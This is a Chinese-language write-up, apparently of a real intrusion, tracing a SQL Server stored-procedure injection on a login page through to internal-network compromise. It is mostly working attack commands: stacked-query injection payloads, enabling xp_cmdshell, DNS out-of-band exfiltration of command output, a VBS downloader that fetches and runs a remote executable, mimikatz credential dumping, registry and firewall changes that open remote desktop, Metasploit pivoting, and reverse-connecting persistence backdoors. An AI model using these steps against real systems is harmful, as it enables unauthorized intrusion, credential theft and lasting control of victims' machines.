记一次渗透实战
字数 1564 2025-08-26 22:11:23
SQL Server 存储过程注入与内网渗透实战教程
信息收集阶段
1. 目标识别与子域名枚举
- 使用
dirsearch进行目录扫描(初始扫描无显著发现) - 发现主站使用 CDN 隐藏真实 IP
- 使用
subDomainsBrute工具扫描子域名 - 关键发现:某个子域名未使用 CDN,暴露真实服务器 IP
2. 端口与服务探测
- 使用
nmap扫描真实 IP - 发现关键端口:8099 运行未知 WEB 服务
- 访问该端口发现登录界面
漏洞利用阶段
1. SQL 注入发现
- 测试发现账号密码验证分离(admin/admin 返回密码错误,不存在的账号返回"账号不存在")
- 单引号测试触发 SQL 错误,确认存在注入漏洞
- 尝试"万能密码"失败(
admin/x' or 'x'='x--)
2. 存储过程注入分析
- 判断后端使用类似
execute @result= verify 'xxx','xxx'的存储过程验证 - 成功测试 payload:
admin/11','xx'--使验证通过 - SQL Server 支持堆叠查询,可执行多条 SQL 语句
3. 权限提升与命令执行
-
启用扩展存储过程:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -
执行系统命令:
exec master..xp_cmdshell "whoami" -
无回显时的验证方法:
- 使用
ping命令验证命令执行 - DNS 带外技术获取命令执行结果
- 使用
4. DNS 带外技术详解
完整 payload:
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
注意事项:
&&需要编码为%26%26- 双引号在 SQL Server 中用两个双引号表示
- 执行目录需要有写权限
- 清理临时文件避免后续执行失败
文件下载与持久化
1. VBS 下载脚本
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
2. 写入 VBS 脚本
分步执行 echo 命令写入脚本:
exec master..xp_cmdshell "echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs"
exec master..xp_cmdshell "echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs"
[...后续部分省略...]
3. 执行下载
exec master..xp_cmdshell "cscript D:/l.vbs http://ip/x.exe D:/x.exe"
关键点:
- 注意系统架构(32位/64位)匹配 payload
- 杀毒软件可能拦截 PowerShell 下载,VBS 是替代方案
内网信息收集
1. 基本系统信息
ipconfig- 确认内网环境net group /domain- 检查域环境(本例中无域)systeminfo- 系统详细信息netstat -ano- 网络连接和端口情况arp -a- 相邻主机 IP
2. 凭证获取
- 使用
mimikatz获取哈希或明文密码load mimikatz kerberos 或 mimikatz_command -f sekurlsa::logonPasswords
远程桌面访问
1. 开启 3389 端口
适用于 Win7/Win2003/XP:
exec master..xp_cmdshell "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"" ""Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
2. 关闭防火墙
exec master..xp_cmdshell "netsh firewall set opmode mode=disable"
3. 端口转发(内网到公网)
portfwd add -l 3389 -p 3389 -r 192.168.50.2
内网横向移动
1. 添加路由
run autoroute -s 192.168.50.2/24
2. 内网扫描
使用 Metasploit 的端口扫描模块:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24
set ports 139,445
exploit
权限维持技术
1. Metsvc 后门
run metsvc
连接方式:
- 使用
exploit/multi/handler模块 - Payload 设置为
windows/metsvc_bind_tcp - 目标 IP 和端口 31337
2. Persistence 模块
run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx
参数说明:
-U:用户登录后自启动(HKCU...\Run)-i:反向连接间隔(秒)-p:反向连接端口-r:反向连接 IP
清除脚本位置:/usr/share/metasploit-framework/scripts/meterpreter/
关键问题解决记录
-
中文乱码问题:
- 尝试
chcp 65001会导致 shell 断开 - 解决方案:使用
chcp 437(IBM437 英语代码页)
- 尝试
-
命令执行限制:
- 参数最大长度 128 字符
- 解决方案:分步执行复杂命令
-
双引号处理:
- SQL Server 中双引号内需要两个双引号表示一个双引号
- 不是使用反斜杠转义
本教程详细记录了从外网渗透到内网横向移动的完整过程,重点突出了 SQL Server 存储过程注入的特殊技巧和内网渗透中的实用技术。